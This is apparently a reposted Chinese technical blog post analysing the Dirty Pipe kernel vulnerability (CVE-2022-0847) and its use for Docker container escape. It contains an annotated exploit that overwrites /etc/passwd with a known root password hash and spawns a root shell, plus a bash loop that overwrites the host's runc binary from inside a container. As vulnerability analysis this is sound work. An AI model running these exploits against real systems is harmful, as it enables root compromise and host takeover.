<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從臟管道(CVE-2022-0847)到docker逃逸

    VSole2023-02-06 10:18:32

    本文轉自先知社區:https://xz.aliyun.com/t/12055

    作者:happi0

    本文主要分析了CVE-2022-0847的原理和由于其獨特的利用條件造成的關于docker逃逸的利用思路

    漏洞環境

    內核源碼

    wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz
    

    編譯

    make x86_64_defconfig   # 加載默認configmake menuconfig         # 自定義config
    
    編譯選項

    添加調試信息, 需要以下幾行

    [*] Compile the kernel with debug info                                                                  [*]   Generate dwarf4 debuginfo                                            [*]   Provide GDB scripts for kernel debugging
    

    文件系統

    sudo mkfs.ext4 -F stretch.img
    

    共享文件夾與命令

    上文制作的文件系統只有最基本的命令,在主機上下載靜態編譯的busybox和poc放到share目錄下,方便在虛擬機中使用

    在下文qemu的啟動命令的-hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share是將主機的share目錄掛載到虛擬機上,我這里的環境是在虛擬機的/dev/sdb1上,進入虛擬機后使用使用mount命令將share文件夾掛載即可

    host:    mkdir share    wget  bin.n0p.me/x64/busybox    mv busybox share
    vir:    mkdir /share    mount /dev/sdb1 /share
    

    由于本虛擬機是只有很基本的環境,在調試漏洞之前還需要做一些操作, 創建/etc/passwd修改權限

    cat /share/passwd > /etc/passwd()chmod 777 /tmptouch /tmp/passwd.bakchmod 777 /tmp/passwd.bak
    

    qemu

    啟動虛擬機

    一個小坑, 由于我的主機是archqemu的依賴被破壞了,需要手動安裝低版本libbpf, 用pacman -Udd強制安裝即可

    sudo qemu-system-x86_64 \    -s \    -m 2G \    -smp 2 \    -kernel ./arch/x86/boot/bzImage \    -append "console=ttyS0 earlyprintk=serial"\    -hda ./stretch.img \    -hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share \    -nographic \    -initrd initramfs.img \    -pidfile vm.pid \    2>&1 | tee vm.log
    

    漏洞原理

    在調試之前首先根據補丁來簡單了解一下漏洞造成的原因。

    補丁中給copy_page_to_iter_pipe()push_pipe()添加了buf->flags的初始化為0。

    這里需要了解一些前置知識,有三篇寫的很詳細的文章

    • CVE-2022-0847 dirtypipe linux本地提權全網第二詳細漏洞分析
    • Linux 內核 DirtyPipe 任意只讀文件覆寫漏洞(CVE-2022-0847)分析
    • Linux 內核提權 DirtyPipe(CVE-2022-0847) 漏洞分析

    不過由于本文重點不在這里,這里只簡單說一下我自己的理解。

    • 管道(pipe)是linux中進程中通信的主要手段,它被設計為一個可以循環使用的環形數據結構,通常只有16個page(每個page大小通常為4k),為了節省空間,如果單次沒有寫滿一個page大小,pipe buffer會有一個PIPE_BUF_FLAG_CAN_MERGE屬性(其值為0x10),用來標識該頁面沒有寫滿。當該屬性存在時,下次pipe_write()會繼續向同一個page寫入數據。
    • splice()將包含文件的page鏈接到pipecopy_page_to_iter_pipe()push_pipe()函數沒有對buf->flag初始化,也就是說,如果該pagePIPE_BUF_FLAG_CAN_MERGE屬性為真的話,會繼續向該page寫入內容,造成非法寫入。

    Exp分析

    根據exp分析漏洞利用的細節,刪除了部分檢測利用條件、備份密碼等漏洞利用不相關代碼。

    static void prepare_pipe(int p[2]){    if (pipe(p)) abort();
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    static char buffer[4096];
        for (unsigned r = pipe_size; r > 0;) {        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;        write(p[1], buffer, n);        r -= n;    }    // 將所有管道填滿,使其具有PIPE_BUF_FLAG_CAN_MERGE屬性
        for (unsigned r = pipe_size; r > 0;) {        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;        read(p[0], buffer, n);        r -= n;    }    // 讀取所有管道的內容,即清空管道
    }
    int main() {    const char *const path = "/etc/passwd";
        ...    // 備份/etc/passwd    ...    loff_t offset = 4;     // 略過"root"字符,這樣構造也是因為漏洞利用的條件包含必須有大于1的偏移    const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n";     // openssl passwd -1 -salt aaron aaron 密碼的哈希散列
        const int fd = open(path, O_RDONLY);    if (fd < 0) {        perror("open failed");        return EXIT_FAILURE;    }    // 以只讀權限打開特權文件
        ...    // 一些漏洞利用條件檢查
        int p[2];    prepare_pipe(p);    // 使得創建的管道具有PIPE_BUF_FLAG_CAN_MERGE屬性,為漏洞利用做準備
        --offset;    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);    // 將file page和pipe buf關聯起來    // 由于PIPE_BUF_FLAG_CAN_MERGE屬性的存在,不會創建新的pipe_buffer, 數據會直接寫進file page中
        nbytes = write(p[1], data, data_size);    // 寫入數據
        char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"                "cp /tmp/passwd.bak /etc/passwd;"                "echo \\\"Done! Popping shell... (run commands now)\\\";"                "/bin/sh;"            "\" root"};        execv("/bin/sh", argv);
            printf("system() function call seems to have failed :(\n");    return EXIT_SUCCESS;    // 彈出shell}
    

    從上面可以看出EXP主要可以分為四步

    • 備份密碼
    • 使管道具有PIPE_BUF_FLAG_CAN_MERGE具有屬性,EXP中使用的是填滿再清空的方法
    • 用splice將file page和pipe 關聯起來
    • 將數據寫入管道

    動態跟蹤

    使管道具有PIPE_BUF_FLAG_CAN_MERGE具有屬性

    使管道具有PIPE_BUF_FLAG_CAN_MERGE具有屬性的關鍵點在pipe_write函數中,已略去部分無關代碼

    pipe_write(struct kiocb *iocb, struct iov_iter *from){    struct file *filp = iocb->ki_filp;    struct pipe_inode_info *pipe = filp->private_data;              unsigned int head;    ssize_t ret = 0;    size_t total_len = iov_iter_count(from);    ssize_t chars;    bool was_empty = false;    bool wake_next_writer = false;
        ...    if (!pipe->readers) {    // 沒有讀端直接返回        send_sig(SIGPIPE, current, 0);        ret = -EPIPE;        goto out;    }    ...
        head = pipe->head;                                                                                  was_empty = pipe_empty(head, pipe->tail);    // 判斷管道頭尾指針是否相等,如果相等則管道為空。    chars = total_len & (PAGE_SIZE-1);    // 判斷需要寫入的數據的大小,chars為余數    if (chars && !was_empty) {        // 頁幀不為空且chars不為空,則從最后一頁接著寫        // 在exp前部分中,每次向pipe中寫入的數據大小為頁幀的整數倍,所以chars總為空        unsigned int mask = pipe->ring_size - 1;                                struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];               int offset = buf->offset + buf->len;                            
            if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&            offset + chars <= PAGE_SIZE) {            // 如果buf -> flag == PIPE_BUF_FLAG_CAN_MERGE, 即代表當前頁是可融合的            // 且已有內容 + 剩余內容 < 頁幀大小,則直接將剩余內容寫入當前頁            ret = pipe_buf_confirm(pipe, buf);            if (ret)                goto out;
                ret = copy_page_from_iter(buf->page, offset, chars, from);            if (unlikely(ret < chars)) {                ret = -EFAULT;                goto out;            }
                buf->len += ret;            if (!iov_iter_count(from))                goto out;        }    }
        for (;;) {   // 這里是最后一頁無法接著寫的情況        if (!pipe->readers) {                                               // 如果pipe的讀者數量為0,則發送信號,直到有讀者。            send_sig(SIGPIPE, current, 0);            if (!ret)                ret = -EPIPE;            break;        }
            head = pipe->head;        if (!pipe_full(head, pipe->tail, pipe->max_usage)) {                        unsigned int mask = pipe->ring_size - 1;                                struct pipe_buffer *buf = &pipe->bufs[head & mask];                     struct page *page = pipe->tmp_page;                                     int copied;         
                if (!page) {                                                                                    // 如果緩存頁為空,則新分配的page                page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);                        if (unlikely(!page)) {                    ret = ret ? : -ENOMEM;                    break;                }                pipe->tmp_page = page;                      }
                spin_lock_irq(&pipe->rd_wait.lock);                                 head = pipe->head;            if (pipe_full(head, pipe->tail, pipe->max_usage)) {                spin_unlock_irq(&pipe->rd_wait.lock);                continue;            }
                pipe->head = head + 1;            spin_unlock_irq(&pipe->rd_wait.lock);
                buf = &pipe->bu fs[head & mask];                        buf->page = page;            // 把新申請的頁放入頁數組中            buf->ops = &anon_pipe_buf_ops;            buf->offset = 0;            buf->len = 0;            if (is_packetized(filp))                                            buf->flags = PIPE_BUF_FLAG_PACKET;                  else                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;                // 設置flag, 默認為PIPE_BUF_FLAG_CAN_MERGE, 即可融合的頁                // #define PIPE_BUF_FLAG_CAN_MERGE  0x10            pipe->tmp_page = NULL;
                copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);                 if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {                if (!ret)                    ret = -EFAULT;                break;            }            ret += copied;                          buf->offset = 0;            buf->len = copied;
                if (!iov_iter_count(from))                break;        }
            ...
            __pipe_unlock(pipe);        if (was_empty) {            wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);            kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);        }        wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));        __pipe_lock(pipe);        was_empty = pipe_empty(pipe->head, pipe->tail);        wake_next_writer = true;    }out:    if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))        wake_next_writer = false;    __pipe_unlock(pipe);
        if (was_empty) {        wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);        kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);    }    if (wake_next_writer)        wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);    if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {        int err = file_update_time(filp);        if (err)            ret = err;        sb_end_write(file_inode(filp)->i_sb);    }    return ret;}
    

    在EXP中的prepare_pipe()函數中,首先將管道填滿,并且每次寫入的數據大小為4k

    static char buffer[4096];
        for (unsigned r = pipe_size; r > 0;) {        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;        write(p[1], buffer, n);        r -= n;    }
    

    導致chars = total_len & (PAGE_SIZE-1);每次都為零, 所以不會進入第一個if中

    if (chars && !was_empty) {
    

    由于不斷的寫,導致需要申請新的頁, 并且新的頁的flag為PIPE_BUF_FLAG_CAN_MERGE, 并直接被放入了頁數組中

    if (!page) {                                                                                    // 如果緩存頁為空,則新分配的page            ...                     buf->page = page;            // 把新申請的頁放入頁數組中            ...                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;                // 設置flag, 默認為PIPE_BUF_FLAG_CAN_MERGE, 即可融合的頁                // #define PIPE_BUF_FLAG_CAN_MERGE  0x10
    

    重復15次,把所有的pipe buffer的flags都置為0x10

    用splice將file page和pipe 關聯起來

    首先在copy_page_to_iter_pipe中停下,保存page的地址


    繼續到pipe_write停下, 由于這次不是4k的整數倍,于是chars不為0,進入到漏洞分支


    打印出即將寫入的page, 和我們保存的page一樣,已經即將把數據寫入

    漏洞效果

    由于虛擬機只有最基本的環境,所以suid這類命令都需要上文下載的靜態編譯的busybox實現

    可以看到,低權限用戶也可以對高權限文件改寫

    利用條件與限制

    利用條件

    • 有可讀權限或者可以傳回文件的文件描述符
    • 有漏洞的內核

    利用的限制

    • 第一個字節不可修改,并且單次寫入不能大于4k
    • 只能單純覆蓋,不能調整文件大小
    • 由于漏洞基于內存頁,所以不會對磁盤有影響

    與docker的關系

    由于docker和宿主機是共享內核,盡管其他進程資源是隔離開的,內核洞也很可能會docker容器造成安全問題.

    對于容器的影響

    由于docker本質上是由一組互相重疊的層組層的,容器引擎將其合并到一起,原本這些層都是只讀的,但由于臟管道漏洞的影響,我們可以在u1容器修改/etc/passwd使得u2容器的/etc/passwd被修改

    利用CAP_DAC_READ_SEARCH實現容器逃逸

    通過利用CAP_DAC_READ_SEARCH與臟管道可以實現覆蓋主機文件, 該攻擊手段可以在github看到詳細過程

    實際上主要是CAP_DAC_READ_SEARCH可以調用open_by_handle_at, 可以獲得主機文件的文件描述符,配合臟管道于是就可以修改主機文件


    這種攻擊方式非常簡單,核心就是獲得文件的文件描述符即可

    通過runc實現容器逃逸

    一個容器開啟時,可以分為以下三步

    • fork創建子進程
    • 初始化容器化環境
    • 將執行流重定向到用戶提供的入口點

    對于第三步,以大名鼎鼎的CVE-2019-5736為例,當重定向入口點時,容器內的/proc/self/exec與主機的runc二進制文件相關聯

    因此可以通過在容器內寫入該文件描述符實現容器逃逸

    對于CVE-2019-5736的修復


    由于篇幅原因這里不跟進CVE-2019-5736的修復的具體代碼,直接看git commit了解修復邏輯

    可以看到修復邏輯是克隆/proc/self/exec避免容器內部直接獲取runC

    然而很快開發者修改了修復邏輯


    可以看到開發者認為克隆導致的內存開銷太大了,可能造成OOM或者其他問題,把修復邏輯改成了只讀掛載

    這里聯想到上文總結的臟管道的利用條件和利用效果,發現剛好契合

    這里的利用主要參考了鏈接

    主機執行docker exec -it u1 /bin/sh/usr/sbin/runc的哈希值變化了,且頭部被注入標識

    利用思路也很簡單,修改CVE-2022-0847的exp,將需要注入的字節改為shellcode,這里我隨便改的標識

    然后在容器內找到主機的runc的pid即可,可以參考以下的shell腳本

    #!/bin/bash
    echo '#!/proc/self/exe' > /bin/sh
    echo "Waiting for runC to be executed in the container"
    while true ; dorunC_pid=""
    while [ -z "$runC_pid" ] ; do        runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')        done
            /exp /proc/${runC_pid}/exedone
    

    總結

    由于docker容器和主機是共享內核的,且目前的runc是通過掛為只讀權限防止逃逸的,對于提權類內核洞來說,這兩個限制很容易被繞過,所以盡管容器逃逸類漏洞很少見,但提權類的內核漏洞很可能導致容器逃逸。

    docker“人造太陽”計劃
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    七個殺手級Docker命令
    2023-12-22 15:19:58
    Docker是一個容器化平臺,通過操作系統級別的虛擬化技術,實現軟件的打包和容器化運行。借助Docker,開發人員能夠將應用程序以容器的形式進行部署,但在此之前需要構建Docker鏡像。只要熟悉相關Docker命令,開發人員就能輕松完成所有這些步驟,從而實現應用程序的容器化部署。本文將根據使用場景對 Docker 命令進行分類介紹。1 構建 Docker 鏡像構建 Docker 鏡像需要使用 Do
    當網絡流量監控發現某臺運行多個docker容器的主機主動連接到一個疑似挖礦礦池的地址時,需要快速響應和排查,以阻止進一步的損害。
    我們將深入分析排查過程,還原入侵的步驟和手段,幫助讀者了解應對挖礦程序入侵的實際應急操作。通過進程PID和USER查看進程信息,通過進程鏈定位到進程所在容器的進程PID。通過進程PID查找對應容器名稱,容器名:metabase。使用docker top 查看容器中的進程信息,找到到容器內異常進程。據此,可初步判斷,java應用被入侵,導致容器被植入挖礦木馬。
    Docker 容器入侵排查
    2023-06-15 10:00:29
    容器的運行環境是相對獨立而純粹,當容器遭受攻擊時,急需對可疑的容器進行入侵排查以確認是否已失陷,并進一步進行應急處理和溯源分析找到攻擊來源。在應急場景下,使用docker命令可以最大程度利用docker自身的特性,快速的獲取相關信息而無需進入容器內部,幫助我們進行溯源分析和解決問題。查看當前運行的容器,創建時間、運行狀態、端口映射。[root@ecs-t /]# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESb06352ff26cc sagikazarmark/dvwa "/run.sh" About an hour ago Up About an hour 3306/tcp, 0.0.0.0:81->80/tcp dvwa
    首先,對Docker架構以及基本安全特性進行介紹,分析了Docker面臨的安全威脅。由于Docker擁有輕量化、高效率和易部署的特點,目前已被廣泛應用于云計算和微服務架構中。本文對Docker安全相關的研究思路、方法和工具進行比較和分析,并指出未來可能的研究方向。此外,Iptables的限制范圍有限,容器網絡仍然容易受到數據鏈路層攻擊,如ARP欺騙等。
    Docker 向所有 Docker Hub 用戶發去郵件,如果他們是以組織的名義創建賬號,那么他們的賬號將被刪除,所有鏡像也將一并刪除,除非他們升級到一個付費的團隊方案——其年費為 420 美元。
    Sysdig公司的研究人員深入研究了這個問題,試圖評估這個問題的嚴重性,報告發現的鏡像使用了某種惡意代碼或機制。遺憾的是,Docker Hub公共庫的規模不允許其操作人員每天仔細檢查所有上傳的內容,因此許多惡意鏡像并沒有被報告。Sysdig還注意到,大多數威脅分子只上傳幾個惡意鏡像,所以即使刪除了有風險的鏡像、封殺了上傳者,也不會對這個平臺的整體威脅狀況有顯著影響。
    Sysdig的安全研究者近日發現Docker Hub中暗藏著超過1600個惡意鏡像,可實施的攻擊包括加密貨幣挖礦、嵌入后門/機密信息、DNS劫持和網站重定向等。問題持續惡化Sysdig表示,到2022年,從Docker Hub提取的所有鏡像中有61%來自公共存儲庫,比2021年的統計數據增加了15%,因此用戶面臨的風險正在上升。
    想學K8s,必須得先學會 Docker 嗎?K8s 和 Docker 的關系Docker 和 K8s 這兩個經常一起出現,兩者的Logo 看著也有一定聯系一個是背上馱著集裝箱的鯨魚一個是船的舵輪。紅框里的容器運行時負責對接具體的容器實現Docker 公司也推出過自己的容器集群管理方案 Docker Swarm ,跟 K8s 算是競品,但是在生產上幾乎沒人使用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类